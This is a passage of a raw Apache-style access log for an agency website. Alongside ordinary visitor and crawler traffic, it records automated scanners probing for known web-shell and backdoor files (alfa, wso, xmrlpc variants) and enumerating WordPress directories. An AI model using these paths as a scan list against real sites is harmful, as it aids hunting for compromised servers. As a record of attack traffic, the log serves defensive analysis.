/libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:07 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:08 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:11 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:17 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:21 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:26 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:29 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:32 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:36 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:38 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:40 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:41 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:43 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:44 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:46 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:47 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:50 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:53 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:57 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:50:59 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:02 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:04 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:07 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:11 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:14 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:16 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:19 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:23 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:27 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:29 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:31 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:34 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:38 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:41 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:48 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:53 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:55 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:51:58 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:00 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:02 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:04 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:07 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:09 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:13 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:16 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:19 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:22 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:25 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:28 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:32 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:36 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:40 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:43 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:46 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.163.240.250 - - [19/Apr/2025:23:52:48 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 34.169.185.195 - - [19/Apr/2025:23:57:17 -0400] "GET /blog/packaging-design/packaging-design-trends-in-2021 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15" 18.223.108.59 - - [19/Apr/2025:23:57:44 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 43.153.19.83 - - [20/Apr/2025:00:01:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.127.101.215 - - [20/Apr/2025:00:06:42 -0400] "GET /dash/upload/design_agency_portfolio_02122019131216.jpg HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15" 34.82.60.21 - - [20/Apr/2025:00:29:24 -0400] "GET /category/marketing-agency HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0" 34.169.116.199 - - [20/Apr/2025:01:10:49 -0400] "GET /category/branding HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15" 106.119.167.146 - - [20/Apr/2025:01:25:12 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.227.36.107 - - [20/Apr/2025:01:36:38 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 43.153.123.4 - - [20/Apr/2025:01:38:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 34.127.47.254 - - [20/Apr/2025:01:45:33 -0400] "GET /category/website-designing-development HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 34.82.90.121 - - [20/Apr/2025:02:00:51 -0400] "GET /blog/seo/geo-chem HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" 35.197.78.148 - - [20/Apr/2025:02:02:00 -0400] "GET /blog/logo-design-monogram-design/type-of-logo-designs-for-your-brand HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14.4; rv:124.0) Gecko/20100101 Firefox/124.0" 142.93.73.59 - - [20/Apr/2025:02:28:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 66.249.79.99 - - [20/Apr/2025:02:52:28 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.99 - - [20/Apr/2025:02:52:29 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 2001:67c:2660:425:3::1c6 - - [20/Apr/2025:03:11:50 -0400] "GET /__media__/js/netsoltrademark.php?d=example.com HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 54.236.1.13 - - [20/Apr/2025:03:19:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)" 17.241.219.80 - - [20/Apr/2025:03:21:54 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.219.80 - - [20/Apr/2025:03:21:55 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 34.83.78.50 - - [20/Apr/2025:03:23:09 -0400] "GET /category/logo-design-monogram-design HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36" 92.223.85.253 - - [20/Apr/2025:03:31:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 2602:fb54:9bb:: - - [20/Apr/2025:03:37:45 -0400] "GET /about.php?520 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)" 152.53.225.138 - - [20/Apr/2025:03:58:08 -0400] "GET /style.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 34.82.163.59 - - [20/Apr/2025:04:00:25 -0400] "GET /blog/digital-marketing/digital-marketing-and-it-s-components HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36" 192.161.162.179 - - [20/Apr/2025:04:03:07 -0400] "GET /themes/manage/assets/jquery-file-upload/server/php/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 205.210.31.142 - - [20/Apr/2025:04:13:06 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 34.169.207.109 - - [20/Apr/2025:04:23:17 -0400] "GET /blog/branding/s HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15" 34.168.215.67 - - [20/Apr/2025:04:37:47 -0400] "GET /blog/marketing-agency/creative-agency-for-startups-and-small-business HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 52.26.10.102 - - [20/Apr/2025:05:21:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.0 Safari/537.36 Some Company. inc admin.contact@gmail.com" 35.233.168.216 - - [20/Apr/2025:05:27:48 -0400] "GET /blog/branding/ad HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 13.90.211.50 - - [20/Apr/2025:05:28:09 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:11 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:12 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:14 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:14 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:15 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:15 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:17 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:17 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:18 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:18 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:19 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:19 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:20 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:21 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:22 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:22 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:23 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:23 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:24 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:25 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:25 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:26 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:27 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:27 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:27 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:28 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:28 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:29 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:30 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:31 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:31 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:32 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:32 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:33 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:34 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:35 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:35 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:35 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:36 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:37 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:37 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:38 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:39 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:41 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:42 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:42 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:43 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:44 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:44 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:46 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:47 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:47 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:48 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:50 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:51 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:53 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:54 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:56 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:58 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:58 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:28:59 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:02 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:05 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:06 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:07 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:08 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:09 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:10 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:10 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:11 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:12 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:13 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:14 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:15 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:17 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:18 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:18 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:19 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:19 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:20 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:21 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:23 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:24 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:24 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:25 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:26 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:27 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:28 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:29 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:30 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:30 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:31 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:33 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:34 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:35 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:36 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:36 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:36 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:37 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:38 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:38 -0400] "GET /wp-includes/js/tinymce/plugins/wpeditimage/wpeditimage/ HTTP/1.1" 301 795 "-" "-" 13.90.211.50 - - [20/Apr/2025:05:29:39 -0400] "GET 